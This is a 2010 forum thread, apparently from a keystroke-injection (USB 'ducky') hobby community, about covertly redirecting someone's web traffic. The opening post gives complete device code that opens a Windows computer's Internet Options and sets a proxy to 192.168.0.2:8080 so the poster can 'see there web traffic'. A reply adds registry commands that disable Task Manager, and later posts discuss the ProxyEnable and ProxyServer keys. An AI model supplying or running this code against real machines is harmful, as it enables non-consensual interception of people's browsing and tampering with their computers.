benownzu93 Posted May 3, 2010 Posted May 3, 2010 okay, it may be useful to send someone's internet traffic thought a proxy so that you can see there web traffic os something like that. so wrote this to change the computers proxy settings, this one works for IE and Chrome when i get some time i will change it to work for firefox. void setup(){ delay(9000); run("inetcpl.cpl");//internet options delay(500); sifttab(1);//move to tabs right(4);//move to connections tab sifttab(3);//move to lan settings enter();//open lan settings delay(500); tab(2);//Proxy tick box space();//tick proxy tick box tab(1);//proxy address box echo("192.168.0.2");//type proxy address tab(1);//prot box echo("8080");//type port tab(3);//move to ok enter();//exit lan settings tab(1);//move to ok enter();//exit internet options } void loop(){ digitalWrite(PIN_D6, LOW);//LED OFF delay(500); digitalWrite(PIN_D6, HIGH);//LED ON delay(500); } void enter(){ Keyboard.set_key1(KEY_ENTER); Keyboard.send_now(); Keyboard.set_key1(0); Keyboard.send_now(); } void run(char *command){ Keyboard.set_modifier(MODIFIERKEY_GUI); Keyboard.set_key1(KEY_R); Keyboard.send_now(); Keyboard.set_modifier(0); Keyboard.set_key1(0); Keyboard.send_now(); delay(300); Keyboard.print(command); delay(300); enter(); delay(300); } void echo(char *text){ Keyboard.print(text); delay(100); } void tab(int count){ int i; for (int i = 0; i <count; i++) { Keyboard.set_key1(KEY_TAB); Keyboard.send_now(); Keyboard.set_key1(0); Keyboard.send_now(); } } void sifttab(int count){ int i; for (int i = 0; i <count; i++) { Keyboard.set_modifier(MODIFIERKEY_SHIFT); Keyboard.set_key1(KEY_TAB); Keyboard.send_now(); Keyboard.set_modifier(0); Keyboard.set_key1(0); Keyboard.send_now(); } } void right(int count){ int i; for (int i = 0; i <count; i++) { Keyboard.set_key1(KEY_RIGHT); Keyboard.send_now(); Keyboard.set_key1(0); Keyboard.send_now(); } } void space(){ Keyboard.set_key1(KEY_SPACE); Keyboard.send_now(); Keyboard.set_key1(0); Keyboard.send_now(); } Quote
Mr-Protocol Posted May 4, 2010 Posted May 4, 2010 Possibly using a registry settings would be an easier solution. Even if the ducky has to quickly write a .reg file and merge. Quote
benownzu93 Posted May 4, 2010 Author Posted May 4, 2010 Possibly using a registry settings would be an easier solution. Even if the ducky has to quickly write a .reg file and merge. It could be, but don't you have to restart for registry edits to take affect? Quote
NanoyMaster Posted May 4, 2010 Posted May 4, 2010 (edited) no. some registry changes take effect immediatly, not sure if all of them do tho. eg. description[<no>] = "Disable task manager\r"; if(binary == <no>){ CommandAtRunBar("REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v DisableTaskMgr /t REG_Dword /d 1"); delay(100); Keyboard.print("y"); PressAndRelease(KEY_ENTER, 1); delay(500); die(); } description[<no>] = "Enable task manager\r"; if(binary == <no>){ CommandAtRunBar("REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v DisableTaskMgr /t REG_Dword /d 0"); delay(100); Keyboard.print("y"); PressAndRelease(KEY_ENTER, 1); delay(500); die(); } (takes effect immediatly) these are obviously modules I made for the Phukducky, but you get the idea Edited May 4, 2010 by NanoyMaster Quote
benownzu93 Posted May 4, 2010 Author Posted May 4, 2010 (edited) HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings ProxyEnable and ProxyServer are the values you need to edit but you do need to reboot, i just tried it. --edit-- if you set ProxyEnable to 1 then it has no affect, but if you go to the proxy settings box it is ticked on after you apply it takes affect. Edited May 4, 2010 by benownzu93 Quote
NanoyMaster Posted May 4, 2010 Posted May 4, 2010 (edited) like I said "not sure if all of them do tho." the code I posted doesn't need a reboot, guess it's trial and error then :( also, does firefox get it's settings from there? Edited May 4, 2010 by NanoyMaster Quote
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.